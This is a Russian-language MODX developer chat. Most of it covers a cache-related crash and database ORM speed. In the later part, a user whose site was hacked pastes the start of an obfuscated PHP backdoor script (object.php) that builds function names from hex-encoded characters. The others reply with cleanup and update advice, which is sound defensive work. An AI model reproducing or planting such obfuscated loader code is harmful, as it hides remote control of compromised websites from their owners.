Anonymous
вот похожий вопрос https://modx.ru/vopros-otvet/info/2445/
Victima🍇
эта ошибка может значит что кто-то криво перенес сайт
Anonymous
я не переносил никуда, внес правку в шаблон, добавил ссылку и картинку
Victima🍇
Argument #2 is not an array ну он ругается что 2ой аргумент не массив данных
Victima🍇
и он не может слить его
Victima🍇
значит где-то вы указали что-то не верно
Victima🍇
большего я понять не могу
Anonymous
я шаблон только изменил и все
Victima🍇
попробуйте вернуть всё
Victima🍇
и повторить
Victima🍇
если ошибка будет значит не из-за ваших правок
Victima🍇
если ошибка уйдет значит из-за ваших
Victima🍇
это элементарно, но работает
Anonymous
Ага, только сайт упал вместе с админкой и шаблоны через бд править
Th0r
кеш почистил уже?
Anonymous
нет
Victima🍇
core/cache/
Victima🍇
очисти всё там
Victima🍇
сайт от этого не сломается
Victima🍇
это просто кэш
Victima🍇
лять походу я не найду ответа на сколько быстр ORM в MODX
Anonymous
Заработал
Anonymous
фак, из-за кеша, как так, лол
Anonymous
из-за кеша может упасть сайт
Anonymous
лять походу я не найду ответа на сколько быстр ORM в MODX
ну вот тут вроде проскальзывала какая-то инфа: http://wdevblog.net.ru/dnevnik/veb-razrabotka/sravnenie-orm-xpdo-vs-propel.html
Anonymous
но я думаю не очень быстр, поскольку xPDO давненько не обновлялся) а там хз)
Victima🍇
ну просто мне придется делать запрос к бд примерно на 10 тысяч полей
Alexey
Как говорится: в любой непонятной ситуации чисти кэш
Alexey
ну просто мне придется делать запрос к бд примерно на 10 тысяч полей
Если это означает получение 10000 объектов, то скорее всего памяти не хватит
Alexey
Хотя я глупость сказал, сорри
Alexey
памяти может не хватить, если получать все объекты одним запросом
Victima🍇
запрос в бд по критерию -> поиск среди 10к запией -> получение результата -> работа с результатом
Alexey
насколько я знаю, если при использовании xpdo возникает проблема производительности, это кусок кода просто можно переписать на pdo
Victima🍇
pdo медленнее судя по всему
Victima🍇
как писали разработчики
Dmytro
pdo бытсрее xpdo
Victima🍇
посмотрим
Alexey
https://modx.pro/development/3144-a-couple-of-tricks-with-xpdo/
Victima🍇
да спасибо
Anonymous
Так и причем тут pdo в целом к скорости базы?
Anonymous
Если нужно делать выборку и стоит вопрос, выбирать из 10к записей или из 2 млн, то pdo, xpdo и php тут не при чем
Anonymous
Это вопрос к проихводительности БД
Anonymous
а в mysql c этим в порядке
Anonymous
а выборки на клиент всегда идут порционные, через пагинацию
Anonymous
что-то дичь тут какую-то спрашиваете, ей богу
Anonymous
учите базовые вещи и не будет глупых идей и вопросов
Anonymous
Заказчик тот же начальник
Anonymous
Вот если свой проект пилишь, то там можно забить)
Anonymous
Когда говоришь, что в течении дня отправлю или вечером и начинают постоянно уточнять время, то по началу это вроде как бесит, а потом сам привыкаешь и уже точно всегда называешь и сам уже не забиваешь на работу и пытаешься во время делать. И это удобно в итоге получается)
Anonymous
Вот если свой проект пилишь, то там можно забить)
свой проект - это как ребенок, как на него можно забить? Даже если хочется, то будешь возвращаться опять и опять и что-то допилиывать и доделывать постоянно, ночами и за бесплатно :)
Anonymous
А если еще не в продакшене
Степан Куркин
Парни, такая ситуация: сайт на рево, на jino, после какого то события на сайте удалены все чанки абсолютно, сайт соответственно сломался нахрен, зашел в админку, в корне и в connectors лежали скрипты, которых не должно быть, я че то поторопился удалил, но вот один еще остался object.php называется
Степан Куркин
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['za3de'] = "\x4f\x73\x5d\x54\x3c\x27\x43\xd\x31\x3b\x64\x56\x5b\x77\x5f\x49\x3e\x25\x2e\x2f\x4b\x72\x65\x71\x45\x44\x6c\x4a\x48\x2a\x3f\x7c\x7a\x32\x79\x78\x5c\x20\x35\x3d\x62\x2b\x46\xa\x22\x76\x42\x36\x74\x38\x6a\x6d\x34\x7b\x23\x2d\x24\x63\x70\x69\x37\x28\x26\x58\x9\x5a\x51\x7d\x50\x21\x3a\x55\x60\x61\x2c\x30\x5e\x6e\x66\x39\x4e\x75\x59\x53\x7e\x40\x6f\x6b\x29\x68\x67\x47\x57\x41\x4d\x33\x52\x4c"; $GLOBALS[$GLOBALS['za3de'][87].$GLOBALS['za3de'][79].$GLOBALS['za3de'][95].$GLOBALS['za3de'][22]] = $GLOBALS['za3de'][57].$GLOBALS['za3de'][89].$GLOBALS['za3de'][21]; $GLOBALS[$GLOBALS['za3de'][45].$GLOBALS['za3de'][57].$GLOBALS['za3de'][22].$GLOBALS['za3de'][40].$GLOBALS['za3de'][38]] = $GLOBALS['za3de'][86].$GLOBALS['za3de'][21].$GLOBALS['za3de'][10];
Степан Куркин
вот с таким кодом, что это может буть, где закрыть дырку
Степан Куркин
быть
Степан Куркин
скрипты 100% левые, первая строчка This website is OK
Pavlo
вирусы
Pavlo
надо искать в логах
Pavel
Вот по этому я по умолчанию ставлю клиентам updater и simpleUpdate
Pavlo
файлы прсомотреть
Pavlo
все снипеты
Pavlo
плагины, модули
Pavlo
првоерить айболитом
Pavlo
обновится
Степан Куркин
да у меня хорошо сохранилась копия, при переносе
Pavlo
пометяь пароли на фтп
Степан Куркин
Павел, спасибо за фидбэк
who are you
второй сайт у вас на вордпрессе
who are you
который и ломанули
who are you
клоакер скрипт наверное вам впихнули
who are you
😄
who are you
ничо страшного — просто удалите вордпрес говяный
Dmytro
Крайне рекомендую обновлять Движек до актуальной версии что EVO что REVO особенно если были фиксы по безопастности. К примеру сейчас опять начал активничать вирус который был в декабре и те у кого не обновленные версии сайта получают на свою голову проблемы вместо того что б вовремя нажать пару кнопок и хотя бы поставить фикс.
Dmytro
http://modx.im/blog/security/5213.html
Anonymous
вот прям плюсую
Anonymous
тем более апдейтеров хватает для обоих
Anonymous
для revo есть еще gitify которая одной командой все делает как надо